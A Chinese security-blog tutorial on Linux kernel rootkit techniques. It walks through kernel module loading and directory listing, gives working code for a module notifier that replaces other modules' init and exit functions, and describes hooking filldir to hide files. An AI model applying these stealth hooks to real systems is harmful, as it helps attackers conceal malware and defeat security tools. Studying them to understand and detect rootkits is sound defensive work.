Linux内核Hook (隐藏文件和进程)
作者:the_one@白帽汇安全研究院
旁白:在家闲着无聊写了一个隐藏文件 隐藏进程的驱动模块就是大家俗称的rootkit技术
Rootkit介绍
Rootkit 是一种特殊类型的 malware(恶意软件)。
Rootkit 之所以特殊是因为您不知道它们在做什么事情。Rootkit 基本上是无法检测到的,而且几乎不能删除它们。
虽然检测工具在不断增多,但是恶意软件的开发者也在不断寻找新的途径来掩盖他们的踪迹。
Rootkit 的目的在于隐藏自己以及其他软件不被发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。 Rootkit 本身不会像病毒或蠕虫那样影响计算机的运行。
攻击者可以找出目标系统上的现有漏洞。漏洞可能包括:开放的网络端口、未打补丁的系统或者具有脆弱的管理员密码的系统。在获得存在漏洞的系统的访问权限之后,攻击者便可手动安装一个Rootkit。这种类型的偷偷摸摸的攻击通常不会触发自动执行的网络安全控制功能,例如入侵检测系统。
找出 Rootkit 十分困难。有一些软件包可以检测 Rootkit。这些软件包可划分为以下两类:基于签名的检查程序和基于行为的检查程序。基于签名(特征码)的检查程序,例如大多数病毒扫描程序,会检查二进制文件是否为已知的 Rootkit。基于行为的检查程序试图通过查找一些代表 Rootkit 主要行为的隐藏元素来找出 Rootkit。
一个流行的基于行为的 Rootkit 检查程序是 Rootkit Revealer,在发现系统中存在 Rootkit 之后,能够采取的补救措施也较为有限。由于 Rootkit 可以将自身隐藏起来,所以您可能无法知道它们已经在系统中存在了多长的时间。而且您也不知道 Rootkit 已经对哪些信息造成了损害。对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统。虽然这种手段很严厉,但是这是得到证明的唯一可以彻底删除 Rootkit 的方法。
(这段是我百度的!!哈哈哈哈)
所以我们先简要分析一下内核模块的加载过程。 相关代码位于内核源码树的 kernel/module.c 我们从 init_module 开始看。我们先简要分析一下内核模块的加载过程。 相关代码位于内核源码树的kernel/module.c
。 我们从 init_module
开始看。
SYSCALL_DEFINE3(init_module, void __user *, umod,
unsigned long, len, const char __user *, uargs)
{
int err;
struct load_info info = { };
// 检查当前设置是否允许加载内核模块。
err = may_init_module();
if (err)
return err;
pr_debug("init_module: umod=%p, len=%lu, uargs=%p\n",
umod, len, uargs);
// 复制模块到内核。
err = copy_module_from_user(umod, len, &info);
if (err)
return err;
// 交给 ``load_module`` 进一步处理。
return load_module(&info, uargs, 0);
}
模块加载的主要工作都是 load_module
完成的,这个函数比较长,这里只贴我们关心的一小段。
static int load_module(struct load_info *info, const char __user *uargs,
int flags)
{
// 这儿省略若干代码。
/* Finally it's fully formed, ready to start executing. */
// 模块已经完成加载,可以开始执行了(但是还没有执行)。
err = complete_formation(mod, info);
if (err)
goto ddebug_cleanup;
// 我们注册的通知处理函数会在 ``prepare_coming_module`` 的
// 时候被调用,完成偷天换日。在下面我们还会分析一下这个函数。
err = prepare_coming_module(mod);
if (err)
goto bug_cleanup;
// 这儿省略若干代码。
// 在 ``do_init_module`` 里面,模块的初始函数会被执行。
// 然而在这个时候,我们早就把他的初始化函数掉包了(/偷笑)。
return do_init_module(mod);
// 这儿省略若干代码:错误时释放资源等。
}
static int prepare_coming_module(struct module *mod)
{
int err;
ftrace_module_enable(mod);
err = klp_module_coming(mod);
if (err)
return err;
// 就是这儿!调用通知链中的通知处理函数。
// ``MODULE_STATE_COMING`` 会原封不动地传递给我们的处理函数,
// 我们的处理函数只需处理这个通知。
blocking_notifier_call_chain(&module_notify_list,
MODULE_STATE_COMING, mod);
return 0;
说的具体点, 我们注册的通知链处理函数是在 notifier_call_chain
函数里被调用的,调用层次为: blocking_notifier_call_chain
->__blocking_notifier_call_chain
-> notifier_call_chain
。有疑惑的读者可以细致地看看这部分代码, 位于内核源码树的kernel/notifier.c
。
代码分析告一段落,接下来我们看看如何注册模块通知处理函数。用于描述通知处理函数的结构体是 struct notifier_block
, 定义如下 。
typedef int (*notifier_fn_t)(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block {
notifier_fn_t notifier_call;
struct notifier_block __rcu *next;
int priority;
};
注册或者注销模块通知处理函数可以使用 register_module_notifier
或者unregister_module_notifier
,函数原型如下。
intregister_module_notifier(struct notifier_block *nb); intunregister_module_notifier(struct notifier_block *nb);
编写一个通知处理函数,然后填充 struct notifier_block
结构体, 最后使用register_module_notifier
注册就可以了。代码片段如下。
int module_notifier(struct notifier_block *nb,
unsigned long action, void *data);
struct notifier_block nb = {
.notifier_call = module_notifier,
.priority = INT_MAX
}
上面的代码是声明处理函数并填充所需结构体; 下面是处理函数具体实现。
int fake_init(void);
void fake_exit(void);
int module_notifier(struct notifier_block *nb,
unsigned long action, void *data)
{
struct module *module;
unsigned long flags;
// 定义锁。
DEFINE_SPINLOCK(module_notifier_spinlock);
module = data;
fm_alert("Processing the module: %s\n", module->name);
//保存中断状态加锁。
spin_lock_irqsave(&module_notifier_spinlock, flags);
switch (module->state) {
case MODULE_STATE_COMING:
fm_alert("Replacing init and exit functions: %s.\n",
module->name);
// 偷天换日:篡改模块的初始函数与退出函数。
module->init = fake_init;
module->exit = fake_exit;
break;
default:
break;
}
// 恢复中断状态解锁。
spin_unlock_irqrestore(&module_notifier_spinlock, flags);
return NOTIFY_DONE;
}
int
fake_init(void)
{
fm_alert("%s\n", "Fake init.");
return 0;
}
void
fake_exit(void)
{
fm_alert("%s\n", "Fake exit.");
return;
}
说好的重点内容文件隐藏来了。不过说到文件隐藏,我们不妨先看看文件遍历的实现, 也就是系统调用getdents
/getdents64
,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c
),我们可以看到如下调用层次, sys_getdents
->iterate_dir
-> struct file_operations
里的 iterate
->这儿省略若干层次 -> struct dir_context
里的 actor
,也就是filldir
。
filldir
负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里。如果我们钩掉 filldir
,并在我们的钩子函数里对某些特定的记录予以直接丢弃,不填到缓冲区里,上层函数与应用程序就收不到那个记录,也就不知道那个文件或者文件夹的存在了,也就实现了文件隐藏。
具体说来,我们的隐藏逻辑如下: 篡改根目录(也就是“/”)的 iterate
为我们的假 iterate
, 在假函数里把 struct dir_context
里的 actor
替换成我们的 假 filldir
,假 filldir
会把需要隐藏的文件过滤掉。
SYSCALL_DEFINE3(getdents, unsigned int, fd,
struct linux_dirent __user *, dirent, unsigned int, count)
{
struct getdents_callback buf = {
.ctx.actor = filldir, // 最后的接锅英雄。
.count = count,
.current_dir = dirent
};
error = iterate_dir(f.file, &buf.ctx);
return error;
}
int iterate_dir(struct file *file, struct dir_context *ctx)
{
struct inode *inode = file_inode(file);
int res = -ENOTDIR;
if (!file->f_op->iterate)
goto out;
res = -ENOENT;
if (!IS_DEADDIR(inode)) {
ctx->pos = file->f_pos;
res = file->f_op->iterate(file, ctx);
file->f_pos = ctx->pos;
}
out:
return res;
}
这一层一层的剥开, 我们来到了 struct file_operations
里面的 iterate
, 这个 iterate
在不同的文件系统有不同的实现, 下面(位于fs/ext4/dir.c
) 是针对 ext4文件系统的 struct file_operations
, 我们可以看到ext4 文件系统的 iterate
是ext4_readdir
。
const struct file_operations ext4_dir_operations = {
.llseek = ext4_dir_llseek,
.read = generic_read_dir,
.iterate = ext4_readdir,
.unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext4_compat_ioctl,
#endif
.fsync = ext4_sync_file,
.open = ext4_dir_open,
.release = ext4_release_dir,
};
ext4_readdir
经过各种各样的操作之后会通过 filldir
把目录里的项目一个一个的填到 getdents
返回的缓冲区里,缓冲区里是一个个的 struct linux_dirent
。我们的隐藏方法就是在 filldir
里把需要隐藏的项目给过滤掉。
编译一个test 的文件 (其实什么文件都行 只要是文件名对应上就行)
下面这两个是目标
此处应该有掌声(手动鼓掌)其实还能隐藏端口
本来想加一个内核漏洞用来提权 忽然想到自己的内核pwn 好像不咋样(难受,哭哭)
本文为白帽汇原创文章,如需转载请注明来源:https://nosec.org/home/detail/4629.html
最新评论